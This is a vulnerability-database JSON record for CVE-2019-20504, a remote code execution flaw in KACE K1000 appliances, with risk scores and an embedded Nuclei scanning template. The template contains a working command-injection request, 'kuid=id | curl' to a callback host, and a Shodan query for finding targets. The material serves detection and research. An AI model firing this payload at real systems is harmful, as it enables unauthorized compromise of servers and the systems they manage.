{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-20504/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-20504/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-20504/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-20504/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-20504/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-20504"},"sightings":{"href":"/api/v1/sightings/cve-2019-20504"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.0955,"kev":false,"percentile":0.95243},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-20504.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-20504\n\ninfo:\n  name: Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    service/krashrpt.php in Quest KACE K1000 Systems Management Appliance before 6.4 SP3 (6.4.120822) allows a remote attacker to execute code via shell metacharacters in the kuid parameter.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands via shell metacharacters, leading to complete server compromise and access to all managed systems.\n  remediation: |\n    Upgrade to KACE K1000 version 6.4 SP3 (6.4.120822) or later.\n  reference:\n    - https://www.exploit-db.com/exploits/46684\n    - https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-20504\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-20504\n    cwe-id: CWE-78\n    epss-score: 0.0955\n    epss-percentile: 0.95243\n    cpe: cpe:2.3:a:quest:kace_systems_management:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: quest\n    product: kace_systems_management\n    shodan-query: html:\"K1000 Logo\"\n  tags: cve,cve2019,k1000,kace,rce,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"K1000\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /service/krashrpt.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        kuid=id | curl http://{{interactsh-url}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n# digest: 4a0a00473045022100b76e678664b175ec9905ffbb9702681160aac1da36ae4352c1513482db6fd54f02205f8d9dde9cc9c41e042dda79bbe85e252a281fb70ea7aa84c15cbad5d70d3f42:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-20504"}